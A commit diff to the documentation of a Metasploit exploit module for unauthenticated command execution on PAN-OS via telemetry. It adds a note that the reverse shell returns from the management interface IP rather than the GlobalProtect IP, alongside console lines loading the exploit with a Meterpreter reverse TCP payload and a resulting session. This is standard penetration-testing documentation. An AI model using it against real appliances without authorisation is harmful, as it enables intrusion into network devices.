Added note about shell from a different IP than RHOST IP

Author: remmons-r7

documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md

@@ -38,6 +38,8 @@ Note: Ensure the target is vulnerable to unauthenticated file creation with the
 
 Note: Since it can take up to one hour to establish code execution, the listener should be left running for that period.
 
+Note: In the standard PAN-OS configuration, the payload is delivered to the GlobalProtect interface IP, but the shell will return via a different PAN-OS management interface IP. 
+
 ```
 msf6 > use exploit/linux/http/panos_telemetry_cmd_exec
 [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
@@ -107,4 +109,4 @@ Architecture : x64
 BuildTuple   : x86_64-linux-musl
 Meterpreter  : x64/linux
 meterpreter > 
-```
+```